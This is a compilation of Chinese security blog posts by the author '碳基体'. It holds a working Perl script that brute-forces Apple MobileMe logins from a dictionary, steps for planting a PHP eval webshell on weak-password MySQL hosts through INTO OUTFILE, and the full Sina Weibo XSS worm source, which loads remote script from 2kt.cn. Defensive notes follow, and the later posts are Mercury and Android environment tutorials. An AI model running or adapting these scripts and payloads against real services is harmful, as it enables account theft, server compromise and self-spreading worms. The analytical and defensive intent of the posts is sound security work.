碳基体

奋斗在产品安全第一线的安全妹子

苹果mobileMe登录口为什么没有验证码

公司在帐号安全这方面真是命运多舛,曾经发现过批量盗号的事件,后来公司重视了,上线了一系列的加固方案。


首先是在web注册页面和flash游戏登录口增加弱口令检测功能,不让注册低强度口令;


其次是上线了验证码机制,该措施也改版了好几次,因为出了不少目前看来很白痴的错误,先是验证码由客户端生成(的确很傻),然后是判断逻辑可以绕过(只要输入正确的帐号口令,就不出现验证码)。。。等等


然后是更换口令存储的加密算法(包括数据库存储,本地存储,各种查询平台也不明文显示密码了),都是被去年下半年屡屡发生的拖库事件吓的;


最后是安全意识的宣传,在校巴里苦口婆心的跟小朋友们说教,不要把自己的密码告诉怪阿姨怪蜀黍,不要相信各种神奇的充值外挂。。。效果怎样,其实也不好说。


其实我知道,这种程度的安全加固简直太脆弱了(我们连ssl都没有,说是太贵了)。


产品和开发总有各种理由来推托上各种措施,理由是未发生就是安全的,这次就有产品用大公司都没用验证码也没出现帐号被盗的情况来反驳上线验证码,look


 

 

意思是,苹果和msn在没有验证码的情况下都没发生过批量盗号事件,于是我们也不要上线这个功能


记得王小波说过,”人的一切痛苦,本质上都是对自己的无能的愤怒。“ 


顿时觉得自己是蛮无能的,我是打心底觉得苹果目前的措施是不安全的(简单写了个批量跑帐号的脚本试验了下,理论上可以暴力破解,


只要字典够强悍),但怎么就没有新闻披露苹果被批量盗号了。他们是怎么保障安全的呢?


我哪个地方弄错了呢, 希望各位大牛们来指点一下迷津,感谢了!






---------------------------------------------------------------------------------------------------------------------脚本正文crackmobilelogin.pl


#!/usr/bin/perl


#format :    crackmobilelogin.pl xxxx@xxx.com(邮箱账户) /xxx/xxx/xx.dic(字典存放路径)


use LWP::UserAgent;

use HTTP::Request::Common qw(POST);



sub try_login{


my($user, $passdic) = @_;

my $okflag = 0;

my $UA = LWP::UserAgent->new(ssl_opts => {verify_hostname => 1});

my $page="https://auth.me.com/authenticate";


open FH, "<$passdic";

while(<FH>){

chomp ($_);

my $pwd = $_;

print "Now try ".$user."  : ".$pwd. "\n";

$req = HTTP::Request::Common::POST("$page",

Content_Type=>'application/x-www-form-urlencoded',

Content=>[ service => 'findmyiphone',

           serviceInput => 'mail',

           ssoNamespace => 'appleid',

           returnURL => 'aHR0cHM6Ly93d3cubWUuY29tL21haWwv',

           cancelURL => 'https://www.me.com/mail',

           mailstatus => '',

           ssoOpaqueToken => '',

           ownerPrsId =>'',

           formID => 'loginForm',

           username => $user,

           password => $pwd ,

           ]

);

$resp = $UA->request($req);

$key=$resp->code;   #response code

if($key == 302){

$okflag = 1;

print $user. " : ".$pwd. " login success !!! \n";


last;

}else{

print " login failed ! \n \n";

}


}

close FH;


if($okflag == 0){

print "\n". "Login failed with $user and dicfile $passdic \n";

}

return 1;

}


$user=$ARGV[0];

$passdic=$ARGV[1];


try_login($user,$passdic);


----------------------------------------------------------------------------------------------------------------------------------------------

注:脚本有个很大的问题,每一次登录尝试都好慢哦,是什么原因,怎么才能优化呢?

我猜想脚本慢主要是因为

1. 脚本写的臭,没有多线程

2.可能是外国服务器,响应慢(手动登录也会慢)

来源:碳基体

办公网攻击——一句话木马获得生产服务机上的任何信息

以LAMP架构为例解说
第一步:使用sql扫描工具,获得内网中开放3306端口(sql server的默认端口号为1433),使用弱口令的主机
第二步:远程登录该台主机
mysql -u root -p
select "<?php eval($_POST['cmd']); ?>"  into outfile 'x:/文档根目录/xxx.php';
这时候我们遇到第一个难点,我们需要将该一句话木马上传到该主机的DocumentRoot下,而绝对路径名我们不知晓!!
尝试默认安装路径(很多测试用的服务器是没有修改基本配置的)
windows下,apache服务器的默认路径为"C:/Program Files/Apache Software Foundation/Apache2.2/htdocs/"
linux下,apache服务器的默认路径为“var/www/"
windows下,使用xampp套装服务的默认路径为"c:/Program Files/xampp/htdocs/xampp/"


备注:如果该网站是发布在外网环境下,可以采用google hacker办法爆绝对路径
site:域名 Warning
site:域名 inurl:Warning

第三步:使用工具lanker微型PHP后门客户2.0正式版.htm,对方的任何信息都可以获取到





防御措施:
1)最保险的

    让你的相关服务只监听在本机,不让别人访问(或者根据实际情况按白名单开放访问权限)


a. apache的conf/httpd.conf 文件内找到 Listen 80那一行,改成 Listen 127.0.0.1:80

b. mysql的my.ini 文件内找到[mysqld]那一段,在port = 3306上加一行bind = "127.0.0.1"


2)使用高强度密码,如 ^mysql#xx.com.$ ,同时安装一个专业的密码管理软件,如开源的keepass

来源:碳基体

新浪微博CSRF事件解析(攻击脚本和流程分析)


最近sina 微博受到了大规模的xss攻击事件,多个用户收到了如下图所示消息,并且自动添加了昵称为hellosammy,uid为2201270010用户,并且给自己所关注的用户发送了同样的私信。

 

 从上图可以看出,攻击者是利用sina名人堂weibo.com/pub/star的跨站脚本漏洞而引发了这次类似蠕虫性质的CSRF攻击方式。
hacker给受害者发送一个带有可执行脚本的url,受害者点击链接,发送http get请求,由于请求是由已通过身份认证登录平台的用户发出,所以网站信任这个链接,并执行。之所以称为蠕虫式病毒,因为其快速的传播型,下面我们从跨站脚本来分析这种传播型。
//创建一个XHR对象,不了解的同学可以参照blog中关于AJAX的讲解部分
function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}

function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}

//下面这段函数的功能是从指定url中获取namecard="true" title="xxx"中的title字段数组。从后续代码中可以看出,hacker主要是//为了获得点击了链接的当前用户微博中所关注好友的昵称,注:网上部分blog将这部分解析为当前用户的粉丝昵称,是错误
//的。
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
  //正则表达式: 匹配 namecard="true" title="  e.g. namecard="true" title="CSDN
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g); 

    for(i=0;i<id.length;i++){
        sum = id[i].toString().split('"')[3]; //csdn
        id_arr += sum + '||';//e.g. csdn||新浪游戏播报||黑客风云录
    }
    return id_arr;
}

//下面这段函数生成攻击主体,格式为 文本+链接 ,文本是吸引眼球的,点击链接意味着你所关注的人也会收到同样的消息
function random_msg(){ 
//将有道提供的短域名服务,通过 https://163.fm/PxZHoxn ,将链接指向https://weibo.com/pub/star/g/xyyyd"><script //src=//www.2kt.cn/images/t.js></script>?type=update
    link = ' https://163.fm/PxZHoxn?id=' + new Date().getTime(); 
    var msgs = [
        '郭美美事件的一些未注意到的细节:',
        '建党大业中穿帮的地方:',
        '让女人心动的100句诗歌:',
        '3D肉团团高清普通话版种子:',
        '这是传说中的神仙眷侣啊:',
        '惊爆!范冰冰艳照真流出了:',
        '杨幂被爆多次被潜规则:',
        '傻仔拿锤子去抢银行:',
        '可以监听别人手机的软件:',
        '个税起征点有望提到4000:'];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}

//发微博
function publish(){
    url = 'https://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
我们可以通过firefox自带的插件Live HTTP headers,抓包,获取实际发送的数据格式,如下图所示


content:为实际发送内容,会经过url编码转换

//加关注

function follow(){
    url = 'https://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    post(url,data,true); //2201270010 hellosamy的uid
}


uid是你所加关注用户的uid,fromuid是自己的uid,代码中fromuid=2201270010,即受害者发现的被自动加了关注的hellosammy,目前这个用户已经被删除,其实这种处理方式是没有效用的。如果未给漏洞打上补丁,hacker换个帐号仍然可以继续,记住在互联网最不值钱的就是帐号,靓号除外。

//给当前用户所关注的人发送私信
function message(){
    url = 'https://weibo.com/' + $CONFIG.$uid + '/follow'; // $CONFIG.$uid 为当前用户的uid
    ids = getappkey(url);//获取关注页面中的关注好友昵称
    id = ids.split('||');
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = 'https://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = 'content=' + msg + '&name=' + user + '&retcode=';
        post(msgurl,data,false);//循环的给所关注用户发送私信
    }
}


content为所发送私信的内容

//脚本主体函数,先以登录用户的名义发送带有恶意链接的微博,然后加hacker关注,最后给受害者用户所关注的用户的前5位
//发送带有恶意链接的私信
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}

//脚本主体,在当前窗口创建一个<script src='https://www.2kt.cn/images/t.js></script>,并执行脚本内容
try{
   x="g=document.createElement('script');g.src='https://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="https://weibo.com/pub/topic";',5000);


从攻击脚本,我们知道了hacker先注册了个叫hellosammy的sina微博帐号,接着在名人堂里找到了一些加v用户(或者是普通用户),并关注他们,并给他们发送带有恶意链接的私信。收到私信的一时没经得住标题党的诱惑,点开了链接,于是后续一发不可收拾,他们除了在自己的微博上自动发送恶意链接,更可恶的是给自己关注的人通过私信方式也发送了恶意链接,如此以5^N的速度传播开来。




从以上脚本可以看出,hacker完成本次攻击的关键在于以下三点:
1)找到受害者网站存在xss漏洞的地方,这是最最关键的
2)将带有xss的url采用有道提供的短域名服务,将链接https://weibo.com/pub/star/g/xyyyd"><script  //src=//www.2kt.cn/images/t.js></script>?type=update隐藏起来(sina在将用户提供的链接转换为短链接的时候,会检查这个链接是否包含可执行脚本所以需要用有道提供的短链接服务再做一次处理)

    link = ' https://163.fm/PxZHoxn?id=' + new Date().getTime(); 
3)猜测rnd生成方式
    url = 'https://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    url = 'https://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
msgurl = 'https://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
4)知道如何获得当前登录用户的uid
     data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    url = 'https://weibo.com/' + $CONFIG.$uid + '/follow'; 
从微博开放平台https://open.weibo.com/ ,api sdk说明中可以得知





防御方法:
一、脚本注入的防御
希望每个程序员都记住:从客户端获取的数据默认是不安全的,必须做过滤处理。以下函数就能轻易解决这个问题:
(1)htmlspecialchars(string str,int quote_style,string charset);//将字符串中的一些特殊字符替换成html文本实体并返回经过处理的字符串
(2)htmlentities(string str,int quote_style,string charset);//将字符串中的一些html标签替换成html实体并返回经过处理的字符串
(3)strip_tags(string str,string allowable_tags)//从字符串中去除所有php和html标记并返回经过处理的字符串(p.s.对富文本编辑,可以使用白名单和黑名单联合管理有实意的标签
(4)string addslashes(string str);//使用反斜线引用字符串中的单引号,双引号,反斜线,空字符,对magic_quotes的进一步预防

二、随机数的生成方式
使用时间做随机数真的很方便也很不安全

来源:碳基体

Mercury(Android APP 应用安全评估框架 )安装、启动及使用


Mercury 是一款优秀的开源Android APP应用安全评估框架,它最赞的功能是可以动态的与android设备中的应用进行IPC(组件通信)交互。

一、安装与启动

1. 安装 

(1)windows安装

第一步:下载Mercury 2.2.2 (Windows Installer) 


第二步:在Android设备中安装agent.apk

adb install agent.apk

(2)*inux安装(Debian/Mac)

apt-get install build-essential python-dev python-setuptools

以下步骤mac也适合

easy_install --allow-hosts pypi.python.org protobuf==2.4.1

easy_install twisted==10.2.0 (为了支持Infrastructure模式)

wget https://labs.mwrinfosecurity.com/assets/415/mercury-2.2.2.tar.gz

tar zxvf mercury-2.2.2.tar.gz

easy_install mercury-2.0.0-py2.7.egg


2. 启动

有三种方式

(1)USB方式的

第一步:在PC上使用adb进行端口转发,转发到Mercury使用的端口31415

adb forward tcp:31415 tcp:31415

第二步:在Android设备上开启Mercury Agent

选择embedded server-enable

 

第二步:在PC上开启Mercury console

mercury.bat console connect

 

(2) WIFI方式的

第一步:在Android设备上开启Mercury Agent

选择embedded server,启用enable


第二步:在pc上将server的ip地址设置为Android设备的ip地址来开启Mercury console

mercury console connect --server <Android设备的ip:port>

(3) Infrastructure Mode

这种模式涉及到三个通信方,mercury server、mercury agent(Android 设备中)与mercury console。

其中server与agent,server与console需要网络互通。这种模式的好处是你不需要知道android设备的ip,agent与console的ip段可以隔离的,并且可以支持一个server对应多个设备的操作。


第一步:在pc上开启Mercury console服务端

mercury server

  第二步: 在Android设备上新建一个New Endpoint,修改配置Host为mercury server的ip(上一步PC机的ip),启用该Endpoint


第三步:开启控制台

mercury console connect --server < serverip:port>

 

二、使用

通过Mercury console就可以进行操作了,和msf蛮像的,以下是常用的一些命令


1. 列出目前可用的模块

mercury> list (也可以使用ls)
app.activity.forintent      Find activities that can handle the given intent

app.activity.info           Gets information about exported activities.

app.activity.start          Start an Activity

app.broadcast.info          Get information about broadcast receivers

app.broadcast.send          Send broadcast using an intent

2.查看指定模块的帮助信息

mercury> help app.activity.forintent
usage: run app.activity.forintent [-h] [--action ACTION] [--category CATEGORY]
               [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
               [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
               [--mimetype MIMETYPE]

Find activities that can handle the formulated intent

Examples:
Find activities that can handle web addresses:

    mercury> run app.activity.forintent
                --action android.intent.action.VIEW
                --data https://www.google.com

    Package name: com.android.browser
    Target activity: com.android.browser.BrowserActivity

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: MWR Code License

optional arguments:
  -h, --help
  --action ACTION       specify the action to include in the Intent
  --category CATEGORY   specify the category to include in the Intent
  --component PACKAGE COMPONENT
                        specify the component name to include in the Intent
  --data-uri DATA_URI   specify a Uri to attach as data in the Intent
  --extra TYPE KEY VALUE
                        add an field to the Intent's extras bundle
  --flags FLAGS [FLAGS ...]
                        specify one-or-more flags to include in the Intent
  --mimetype MIMETYPE   specify the MIME type to send in the Intent



3. 运行指定模块

(1)例如列出android设备中安装的app

mercury> run app.package.list
android
berserker.android.apps.sshdroid
cn.wps.moffice_eng
com.alipay.android.app
com.android.GPStestSvc
com.android.backupconfirm

(2)例如查看指定app的基本信息(以com.android.browser为例)

mercury> run app.package.info -a com.android.browser
Package: com.android.browser
  Process Name: com.android.browser
  Version: 4.1.1-JLB17.0
  Data Directory: /data/data/com.android.browser
  APK Path: /system/app/Browser.apk
  UID: 10004
  GID: [3003, 1015, 1028]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.ACCESS_COARSE_LOCATION
  - android.permission.ACCESS_DOWNLOAD_MANAGER
  - android.permission.ACCESS_FINE_LOCATION
  - android.permission.ACCESS_NETWORK_STATE
  - android.permission.ACCESS_WIFI_STATE
  - android.permission.GET_ACCOUNTS
  - android.permission.USE_CREDENTIALS
  - android.permission.INTERNET
  - android.permission.NFC
  - android.permission.SEND_DOWNLOAD_COMPLETED_INTENTS
  - android.permission.SET_WALLPAPER
  - android.permission.WAKE_LOCK
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.WRITE_SETTINGS
  - android.permission.READ_SYNC_SETTINGS
  - android.permission.WRITE_SYNC_SETTINGS
  - android.permission.MANAGE_ACCOUNTS
  - android.permission.READ_PROFILE
  - android.permission.READ_CONTACTS
  - com.android.browser.permission.READ_HISTORY_BOOKMARKS
  - com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
  - com.android.launcher.permission.INSTALL_SHORTCUT
  - android.permission.READ_EXTERNAL_STORAGE
  Defines Permissions:
  - com.android.browser.permission.PRELOAD

(3)与组件交互

Mercury最有用的的功能是协助调试IPC机制,操纵APP的IPC组件(包括Activity,Broadcast receivers,Content providers与Services)。Mercury的app.{activity|broadcast|provider|service}.xx模块可以提供这些功能.


a. 列出APP中的activity组件(以com.android.browser为例)

mercury> run app.activity.info -a com.android.browser
Package: com.android.browser
  com.android.browser.BrowserActivity
  com.android.browser.MiuiShortcutActivity
  com.android.browser.BrowserPreferencesPage
  com.android.browser.BookmarkSearch
  com.android.browser.AddOrEditBookmarkActivity
  com.android.browser.widget.BookmarkWidgetConfigure


b. 开启一个activity,例如运行浏览器打开谷歌页面

mercury> run app.activity.start --action android.intent.action.VIEW --data-uri https://google.com/

c. 查找可以读取的Content Provider

mercury> run scanner.provider.finduris -a com.sina.weibo
Scanning com.sina.weibo...
Able to Query    content://mms
Unable to Query  content://calendar/events
Unable to Query  content://com.sina.weibo.blogProvider/query/home
Able to Query    content://mms/
Unable to Query  content://telephony/apgroups/
Able to Query    content://sms
Unable to Query  content://com.sina.weibo.blogProvider/insert/im
Unable to Query  content://icc/adn
Unable to Query  content://com.sina.weibo.blogProvider/delete/allim/
Unable to Query  content://com.sina.weibo.blogProvider/query/im/
Unable to Query  content://calendar/calendars
Unable to Query  content://com.sina.weibo.blogProvider/
Able to Query    content://com.android.contacts/contacts/
Unable to Query  content://calendar/events/
Able to Query    content://telephony/carriers/preferapn/
Able to Query    content://telephony/carriers/
Able to Query    content://com.android.contacts/contacts
Unable to Query  content://com.android.launcher2.settings/favorites?notify=true/

d. 读取指定Content Provider内容

mercury#> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"
| _id | name        | value |
| 66  | adb_enabled | 1     |

e. 待实现的功能使用Message或Android Interface Description Language 与service组件交互,可参考https://github.com/mwrlabs/mercury/wiki
(4)文件操作

列出指定文件路径里全局可写/可读的文件

mercury> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
Discovered world-writable files in /data/data/com.sina.weibo:
  /data/data/com.sina.weibo/shared_prefs/push_settings.xml
  /data/data/com.sina.weibo/shared_prefs/speed_test.xml
mercury> run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
Discovered world-readable files in /data/data/com.sina.weibo:
  /data/data/com.sina.weibo/lib/libutility.so
  /data/data/com.sina.weibo/shared_prefs/push_settings.xml
  /data/data/com.sina.weibo/shared_prefs/speed_test.xml
  /data/data/com.sina.weibo/shared_prefs/com.sina.weibo_preferences.xml
  /data/data/com.sina.weibo/app_outtmp/private.dex

(5)shell操作

mercury> run shell.start
u0_a80@android:/data/data/com.mwr.droidhg.agent $ su
u0_a80@android:/data/data/com.mwr.droidhg.agent # pwd
/data/data/com.mwr.droidhg.agent

(6)安装busybox

mercury> run tools.setup.busybox

(7) 通过web的方式查看content provider组件的相关内容  

mercury#> list auxiliary
auxiliary.webcontentresolver
                            Start a web service interface to content providers. 

mercury#> help auxiliary.webcontentresolver
usage: run auxiliary.webcontentresolver [-h] [-p PORT]

Start a Web Service interface to Content Providers. This allows you to use web
application testing capabilities and tools to test content providers.

Examples:
mercury> run auxiliary.webcontentresolver --port 8080

    WebContentResolver started on port 8080.
    Ctrl+C to Stop

Last Modified: 2012-11-06
Credit: Nils (@mwrlabs)
License: MWR Code License

optional arguments:
  -h, --help
  -p PORT, --port PORT  the port to start the WebContentResolver on
mercury#> run auxiliary.webcontentresolver
WebContentResolver started on port 8080.
Ctrl+C to Stop
1.0.0.127.in-addr.arpa - - [25/Jul/2013 00:09:19] "GET / HTTP/1.1" 200 -
1.0.0.127.in-addr.arpa - - [25/Jul/2013 00:09:30] "GET /favicon.ico HTTP/1.1" 200 -

 在console所在系统浏览器中访问



参考:

https://labs.mwrinfosecurity.com/tools/2012/03/16/mercury/documentation/

来源:碳基体

远程调试Android网页的方法


参考https://developers.google.com/chrome-developer-tools/docs/remote-debugging


一、需要的环境

1. Android设备(本文以小米手机为例),安装了chrome for android(28以上)(最好通过goolgle play下载)

2. PC上安装了chrome(28以上)

3. USB数据线,windows需要安装了相应的USB设备的驱动


二、调试步骤


第一步:在PC chrome上安装ADB chrome扩展,ADB

 

第二步:开启android设备的USB调试

设置-开发者选项-调试-开启USB调试

 

第三步:打开android设备上的chrome浏览器,开启USB Web debugging选项

设置——高级——开发者工具-开启USB网页调试

 

第四步:使用USB数据线将Android设备连接到PC上

这时候Android设备会弹出消息,是否允许usb调试

 

第五步:开始调试

点击chrome浏览器左上角的android图标

点击Start ADB

 点击View Inspection Targets


 第六步:这时候就能看到Android设备上chrome打开的页面,点击Inspect,就可以进行调试了

 

来源:碳基体

Android环境安装(windows xp/Ubuntu/Mac OS X)及常见操作

为了研究Android APP安全,首先应该学会Android渗透测试环境的搭建,而环境搭建的第一步就是安装Android开发环境。这篇博客分别介绍了windows xp,Ubuntu,和Mac OS X三种操作系统下的android 环境搭建,及模拟器/真机调试android APP的准备方法,算是Android渗透测试环境搭建的第一步。


一、windows xp 下配置android环境


1.安装JDK

第一步:下载JDK,安装

第二步:设置环境变量

右键 我的电脑 选择属性选项,选择高级选项卡,单击环境变量。

(1)在系统变量中,新建变量JAVA_HOME,编辑之为C:\Program Files\Java\jdk1.7.0_03\

(1)编辑系统变量Path,添加C:\Program Files\Java\jdk1.7.0_03\bin(本文以安装jdk1.7.0_03为例)

(2)在系统变量中,新建变量CLASSPATH,编辑值为; C:\Program Files\Java\jdk1.7.0_03\lib\tools.jar;C:\Program Files\Java\jdk1.7.0_03\lib\dt.jar


2.安装Android SDK

第一步:下载Android SDK,解压缩到任意路径下

第二步:双击运行SDK Manager.exe,选择合适的安装包,为了方便以后的测试,我会选择安装Tools,Extras,Android 2.2,Android 2.3.3

第三步:设置环境变量

编辑系统变量Path,添加E:\android-sdk-windows\tools;E:\android-sdk-windows\platform-tools;E:\android-sdk-windows\apache-ant-1.8.3\bin;


3.安装Eclipse和ADT

Eclipse是Android集成开发环境

第一步:下载Eclipse,解压缩到任意路径下

第二步:下载ADT

第三步:安装ADT,双击运行eclipse.exe,单击主菜单上的help---Install New Software菜单项,单击弹出窗口的add按钮,通过archive按钮选择下载的ADT插件的Location,选中Developer Tools(ADT插件),然后单击Next,接受协议,单击Finish按钮

第四步:配置Eclipse的Android SDK环境变量,单击Eclipse主菜单Windows---Preferences,填写Android SDK安装目录


注意:Android官方网站提供了Android SDK,Eclipse,ADT的集成安装包,可以直接下载使用


4.安装Apache Ant

第一步:下载Apache Ant,解压缩

第二步:配置Ant

编辑系统变量Path,添加F:\android-sdk-windows\apache-ant-1.8.3\bin


5.安装Android NDK

第一步:下载cygwin,安装基本的工具包,下载安装速度会非常慢,要有耐心


第二步:配置NDK路径

修改cygwin安装包下的home\dani(用户名)\.bashrc文件

增加export NDK=/cygdrive/e/android-ndk-r8

重启cygwin


第三步:测试是否安装成功

打开cygwin Terminal

dani@dani ~
cd $NDK

dani@dani /cygdrive/e/android-ndk-r8
ndk-build -C samples/hello-jni/
make: 进入目录“/cygdrive/e/android-ndk-r8/samples/hello-jni”
Gdbserver      : [arm-linux-androideabi-4.4.3] libs/armeabi/gdbserver
Gdbsetup       : libs/armeabi/gdb.setup
Cygwin         : Generating dependency file converter script
Compile thumb  : hello-jni <= hello-jni.c
SharedLibrary  : libhello-jni.so
Install        : libhello-jni.so => libs/armeabi/libhello-jni.so
make: 离开目录“/cygdrive/e/android-ndk-r8/samples/hello-jni”

正常编译后,会在项目libs/armeabi目录下生成对应的.so文件

dani@dani /cygdrive/e/android-ndk-r8
ls -l samples/hello-jni/libs/armeabi/
总用量 137
-rw-r--r-- 1 dani Domain Users    160 二月 25 15:21 gdb.setup
-rwxr-xr-x 1 dani Domain Users 125208 四月 24 2012 gdbserver
-rwxr-xr-x 1 dani Domain Users  10124 二月 25 15:21 libhello-jni.so


二、Ubuntu下配置Android环境

1. 安装Android SDK

第一步:下载Android SDK

wget https://dl.google.com/android/android-sdk_r21.1-linux.tgz

tar zxvf android-sdk_r21.1-linux.tgz

cd ~/android-sdk-linux/tools

./android

选择合适的安装包,为了方便以后的测试,我会选择安装Tools,Extras,Android 2.2,Android 2.3.3

第二步:配置环境变量

编辑.bashrc文件,增加如下语句

vim .bashrc 

增加如下语句

export ANDROID_SDK_HOME=/pentest/reverse-engineering/android/android-sdk
export PATH=$ANDROID_SDK_HOME/tools:$ANDROID_SDK_HOME/platform-tools:$PATH

source .bashrc


2. 安装Eclipse和ADT

第一步:下载Eclipse,解压缩到任意路径下

第二步:下载ADT

第三步:启动Eclipse,单击主菜单上的help---Install New Software菜单项,单击弹出窗口的add按钮,通过archive按钮选择下载的ADT插件的Location,选中Developer Tools(ADT插件),然后单击Next,接受协议,单击Finish按钮。

第四步:配置Eclipse的Android SDK环境变量,单击Eclipse主菜单Windows---Preferences,填写Android SDK安装目录


3.安装Apache Ant(命令行编辑工具)

第一步:下载Apache Ant

wget https://labs.mop.com/apache-mirror//ant/binaries/apache-ant-1.8.4-bin.tar.bz2

tar zxvf apache-ant-1.8.4-bin.tar.bz2

第二步:配置Ant

编辑.bashrc文件,增加如下语句

vim .bashrc 

增加如下语句

export ANT_HOME=/pentest/reverse-engineering/android/android-sdk/apache-ant-1.8.4
export PATH=$ANT_HOME/bin:$PATH

source .bashrc

注意:Android官方网站提供了Android SDK,Eclipse,ADT的集成安装包,可以直接下载使用


4.安装Android NDK

第一步:下载Android NDK

wget https://dl.google.com/android/ndk/android-ndk-r8d-linux-x86.tar.bz2

tar jxvf android-ndk-r8d-linux-x86.tar.bz2

第二步:配置环境变量

编辑.bashrc文件,增加如下语句

vim .bashrc

增加如下语句

export NDK_HOME=/pentest/reverse-engineering/android/android-ndk-r8d
export PATH=$NDK_HOME:$PATH

source .bashrc


第三步:测试是否安装成功

root@bt:/pentest/reverse-engineering/android/android-ndk-r8d/samples# ndk-build  -C hello-jni/
make: Entering directory `/pentest/reverse-engineering/android/android-ndk-r8d/samples/hello-jni'
Gdbserver      : [arm-linux-androideabi-4.6] libs/armeabi/gdbserver
Gdbsetup       : libs/armeabi/gdb.setup
Compile thumb  : hello-jni <= hello-jni.c
SharedLibrary  : libhello-jni.so
Install        : libhello-jni.so => libs/armeabi/libhello-jni.so
make: Leaving directory `/pentest/reverse-engineering/android/android-ndk-r8d/samples/hello-jni'

正常编译后,会在项目libs/armeabi目录下生成对应的.so文件

 


5.配置Ubuntu(Linux)环境下的USB驱动

当Android设备开启USB Debug模式连接到Ubuntu系统下时,系统默认状态下是识别不了的,这时候需要对系统进行配置,让其正确识别Android设备

vim  /etc/udev/rules.d/51-android.rules

增加如下语句,以samsung设备为例

#Samsung

SUBSYSTEM=="usb",

ATTR{idVendor}=="04e8", MODE="0666",
GROUP="plugdev"


sudo chmod a+r /etc/udev/rules.d/51-android.rules

sudo restart udev


三、Mac OS X下配置Android环境

Mac OS X下android环境配置与Ubuntu下完全相同,只需要在下载Android SDK,Eclipse,Android NDK时,选择对应的Mac版本即可


如果要做android APP的渗透测试,最好在Ubuntu下搭建,因为windows上android虚拟设备的运行速度比较慢,终端操作也比较别扭;而mac上,虚拟设备的显示会有一些小瑕疵,同样的终端操作也非常别扭。


四、模拟器调试Android应用

第一步:列出当前安装的android API包,查看对应的id号

root@bt:~# android list target
Available Android targets:
----------
id: 1 or "android-8"
     Name: Android 2.2
     Type: Platform
     API level: 8
     Revision: 3
     Skins: WVGA800 (default), WVGA854, WQVGA400, HVGA, WQVGA432, QVGA
     ABIs : armeabi
----------

第二步:创建android虚拟设备

root@bt:~#android create avd –n test2(avd名字)  -t 12(对应的id号)

注意:如果apk包的lib文件夹中so文件是armeabi-v7a版本的,那么模拟器上就只能安装2.3及其以上的android系统,否则会报错“Failure[INSTALL_FAILED_INVALID_APK]

第三步:查看已有的android虚拟设备

root@bt:~# android list avd
Available Android Virtual Devices:
    Name: test
    Path: /pentest/reverse-engineering/android/android-sdk/.android/avd/test.avd
  Target: Android 4.1.2 (API level 16)
     ABI: armeabi-v7a
    Skin: WVGA800
---------
    Name: test2
    Path: /pentest/reverse-engineering/android/android-sdk/.android/avd/test2.avd
  Target: Android 2.3.3 (API level 10)
     ABI: armeabi
    Skin: WVGA800

第四步:创建SD卡

这步可以省略,对有些应用而言,需要

root@bt: mksdcard 64M ~/dani(存放路径)

第五步:使用模拟器打开第二步创建的设备

root@bt:~# emulator -avd test2(avd名称)  -sdcrad ~/dani(SD卡存放路径) -partition-size 256 -memory 512

注意:为了避免size限制出错,最好提前指定较大的分区与内存,不然,安装大size的apk包时会报错“Failure INSTALL_FAILED_MEDIA_UNAVAILABLE

第六步:下载安装android应用(以qq为例)

root@bt:adb install mobileqq_2012_android_build0130.apk


使用模拟器调试android应用还是存在局限性的,例如对于游戏类应用,特别是3D游戏,基本启动不起来,或者及时启动起来画面质量也很差,所以在有条件的情况下,最好采用真机进行调试。




五、真机调试Android应用

第一步:将android设备设置为USB调试模式


第二步:使用USB线,将android设备与PC机连接起来,对windows系统,需要安装android设备的官方驱动,对于Ubuntu需要配置UDEV规则(方法详见5.配置Ubuntu(Linux)环境下的USB驱动)


第三步:测试设备是否连接成功

C:\Documents and Settings\dani>adb devices
List of devices attached
42890C3429FD117 device

第三步:打开eclipse,导入项目File-import-Existing Projects into Workspace

选中需要运行的Android项目,单击鼠标右键,在弹出的菜单中单击“Run AS—> Android Application”菜单项即可。


与Android相比,iOS APP要在真机上不花钱调试就比较麻烦了,首先真机设备要越狱去除应用程序签名验证,其次xcode工具要破解使之不做签名检查,具体方法详见xcode 4.4.1 for Mountain Lion破解及真机调试


